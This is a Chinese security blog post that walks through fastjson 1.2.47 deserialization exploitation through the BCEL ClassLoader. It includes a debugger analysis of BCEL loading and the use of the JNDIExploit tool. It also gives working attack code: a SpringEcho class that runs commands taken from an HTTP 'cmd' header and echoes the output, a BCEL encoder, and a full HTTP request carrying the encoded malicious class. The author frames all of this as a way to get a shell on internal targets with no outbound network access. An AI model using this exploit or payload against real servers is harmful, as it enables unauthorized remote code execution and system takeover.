freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用BCEL打fastjson直接burp回显getshell
2023-08-03 10:57:11
所属地 浙江省

写作背景

实战中打点的话,java漏洞是最爽的,一打就是root权限。以fastjson为例,之前我曾经写过漏洞的原理,但是公网遇到的漏洞越来越少,大多都是在内网的环境,内网里没办法使用dnslog去探测回显。这里学习一下用bcel链直接在bp中产生回显进而getshell。


bcel调试分析

这里借用Zh1z3ven师傅的代码

准备一个恶意类

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试Demo

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELDemo {
    public static void main(String[] args) throws Exception {
        //使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
        //'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
        JavaClass cls = Repository.lookupClass(calc.class);
        //使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
        String code = Utility.encode(cls.getBytes(),true);
        System.out.println(code);
        //创建了一个ClassLoader对象,调用其loadClass方法
        //loadClass方法用于加载类,接收一个字符串参数表示要加载的类的名称(这里的类通过将'$$BCEL$$'字符串和变量'code'拼接得到),再通过调用.newInstance方法创建一个新的对象
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

测试结果

可以看到我们控制台上不仅出现了一段看不懂的加密字符,还弹出了计算器,说明我们的恶意代码被执行了。

代码分析调试

  • 我们在弹出计算器的这段代码打上断点,f7步入ClassLoader,创建完毕一个ClassLoader对象

1691030038_64cb12164c37b8bc2eef9.png!small

  • 继续步入loadClass方法,这里上将给定的ClassLoader类作为参数传递给loadClass方法,返回调用loadClass的重载方法进行类加载,默认将第二个参数var2设置为false。

1691030074_64cb123a0af45144863d5.png!small

  • f7步入laodClass的实现方法,这里主要是实现类加载机制,通过一系列尝试来加载指定的类,并返回对应的Class对象。
protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
  	//第一次尝试,在哈希表查找类
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
    	//第二次尝试:使用系统类加载器加载系统类
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
      	//第三次尝试:特殊请求?
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository 第四次尝试:通过仓库加载类
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader  第四次尝试:使用默认类加载器
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }
  • 源码给了四次尝试:
  1. 第一次尝试是从一个哈希表中查找已加载的类对象。如果找到,则直接返回该类对象。
  2. 第一次如果没找到,会进行第二次尝试,这一次是使用系统类加载器加载系统类。在这之前,会检查类名是否以指定的忽略包名开头。如果是,则将加载任务交给deferTo类加载器来处理。
  3. 第二次也没找到的话,会进行第三次尝试。第三次尝试会进行特殊请求处理。具体来说,它会检查类名中是否包含特定的标识字符串"$$BCEL$$",如果是,则通过调用createClass方法创建一个特殊类。
  4. 第三次也失败的话,就会进行第四次尝试。这次代码将尝试使用仓库加载类,它会调用repository对象的loadClass方法来尝试加载类。如果成功加载到类对象,则会对该类对象进行修改操作(通过调用modifyClass方法)。第四次失败的话会抛出ClassNotFoundException异常。
  5. 只要成功加载到类对象(通过任一尝试),就会调用defineClass方法定义类,并返回对应的Class对象。如果在加载类时指定了resolve参数为true,则会调用resolveClass方法对类进行解析。最后,将加载的类对象存储到哈希表中,并返回该类对象。

  • f8步过,我们的class_name就是一长串bcel的加密字符串,所以在第三次尝试时会调用creatClass(class_name)方法

1691030106_64cb125abad3d855cc51f.png!small

  • 进入creatClass方法详细分析一下
protected JavaClass createClass(String class_name) {
    //调用indexOf方法查找类名中特定的标记"BCEL"的位置,将其索引存储在index变量中
		int index = class_name.indexOf("$$BCEL$$");
    //调用substring方法从标记后面开始提取真实的类名部分,并将其存储在real_name变量中。
		String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
    	//调用Utility.decode方法对real_name进行解码,将解码后的字节数组存储在bytes变量中
      byte[]      bytes  = Utility.decode(real_name, true);
      //创建一个ClassParser对象,将解码后的字节码数组作为输入流,并提供一个任意的字符串作为参数,这里使用"foo"
			ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
      //调用parse()方法,ClassParser会解析字节码并返回一个JavaClass对象
      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();

    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                     Constants.CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                     Constants.CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));
  	//方法返回创建的JavaClass对象,以便进行进一步的字节码操作或分析
    return clazz;
  }
}

最终返回的就是这个calc对象

1691030128_64cb1270815a086bd462d.png!small

  • 因为我们的clazz类不为空,首先获取clazz的字节数组,随后调用defineClass() 方法将字节数组中的类定义加载到内存中,并创建对应的 Class 对象

1691030160_64cb129040e1536de9fe3.png!small

  • 最终将加载的类存储到哈希表中,返回加载的类对象

1691030178_64cb12a2b68633bfa414c.png!small

  • 之后在newInstance()初始化时,会调用calc的代码执行

1691030195_64cb12b3405b707c8b9fe.png!small


公网利用jndi工具bp回显getshell

  • java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.20.10.11

1691030235_64cb12db3d736aa121317.png!small


  • 查看工具使用:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

1691030253_64cb12ed147c6faa2b717.png!small


  • bp打payload

1691030270_64cb12febb3ff0196be66.png!small

  • 工具回显

1691030296_64cb13183e8ba77990dc8.png!small


不出网利用bcel直接回显shell

环境搭建

这里借用fastjson1.2.47环境进行复现,环境搭建完毕后访问127.0.0.1:9002/json

1691030548_64cb1414462b59282b71f.png!small

核心代码分析

这里有三段代码,分别是BCELEncode,SpringEcho以及SpringEcho.class,看名字可以知道BCELEncode是用来加密的,SpringEcho.class是SpringEcho的编译后的.class文件。

1691030587_64cb143bb8f6e212c9a50.png!small

BCELEncode

import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.FileOutputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCELEncode {

    public static String class2BCEL(String classFile) throws Exception{
        //将classFile转换为Path对象
        Path path = Paths.get(classFile);
        //使用Files.readAllBytes(path)方法读取类文件的内容,并将其存储在字节数组bytes中
        byte[] bytes = Files.readAllBytes(path);
        String result = Utility.encode(bytes,true);
        //返回Base64编码字符串
        return result;
    }


    public static void decode(String str) throws Exception{
        //解码为字节数组
        byte[] s =  Utility.decode(str,true);
        //把字节数组s写入"payload.class"的文件
        FileOutputStream fos = new FileOutputStream("payload.class");
        fos.write(s);
        fos.close();
    }

    public static void main(String[] args) throws Exception {
        //System.getProperty("user.dir")获取当前工作目录,并将相对路径与"SpringEcho.class"连接起来,得到Java类文件的完整路径。
        // 然后,调用BCELEncode.class2BCEL方法,并将Java类文件的完整路径作为参数传递给它。这个方法将Java类文件编码为Base64编码字符串,并通过System.out.println将结果打印到控制台。
        System.out.println(BCELEncode.class2BCEL(System.getProperty("user.dir")+"\\src\\test\\java\\com\\fastjson\\vul\\" +"SpringEcho.class"));

    }

}

SpringEcho

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    //静态代码块在类加载的时候就会去执行
    static {
        try {
            //首先获取当前的HttpServletRequest和HttpServletResponse对象。
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            //通过反射获取HttpServletRequest的"getHeader"方法,用于获取HTTP请求头"cmd"的值,通过变量"cmd"执行系统命令。
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String)getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            //这里对操作系统做了判断,windows和linux的采用cmd和/bin/bash来命令执行
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            //使用反射获取"writer"对象的方法,然后执行命令并输出结果
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e) {

        }

    }
}

payload复现

POST /json HTTP/1.1
Host: 127.0.0.1:9092
Conten-Type: application/json
cmd: hostname
Content-Length: 3647

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
            }
        } : "xxx"
    }
}

1691030661_64cb1485b7b9f245ba390.png!small

1691030677_64cb14954c89e80cbeabf.png!small

Fastjson BCEL Poc原理讲解

  • 我们对BCELEncode代码进行跟进,可以看到首先获取classFile文件,在本地主机的E盘文件下,随后将path保存在bytes[]数组里;最后对bytes[]进行bcel加密,返回bcel加密后的字符串

1691030714_64cb14ba4b9445e14ba2b.png!small

  • 当我们发送burp的payload,服务器首先会对payload进行反序列化,根据@type找到java.lang.Class类中的“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”、“com.sun.org.apache.bcel.internal.util.ClassLoader”,以及“com.alibaba.fastjson.JSONObject”类中的"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"和驱动加载“"com.sun.org.apache.bcel.internal.util.ClassLoader"”

1691030738_64cb14d204cb6ad4d4d55.png!small

  • 随后服务器会对加密的“$$BCEL$$$l$8b$I$A$A$A$A$A$A。。。”字符串进行解密,解码为字节数组,最终会解密成最初的恶意类SpringEcho.class文件

1691030753_64cb14e13d2547760aefc.png!small

  • 在我们解密后的SpringEcho.class中就存在命令执行,针对服务器的操作系统类型,将结果回显在response中

1691030769_64cb14f182f198bfffe55.png!small

1691030786_64cb1502cb150849dfc9c.png!small

小结

  1. 根据fastjson的payload,首先反序列化找到加密的BCEL代码;
  2. 对BCEL进行解密,找到解密后的恶意类.class文件;
  3. 在.class文件中就存在命令执行,并将回显结果输出在response上。


参考链接


https://www.cnblogs.com/CoLo/p/15869871.html

https://www.freebuf.com/vuls/360993.html

https://www.freebuf.com/articles/web/366131.html

# 漏洞 # web安全 # Fastjson反序列化漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录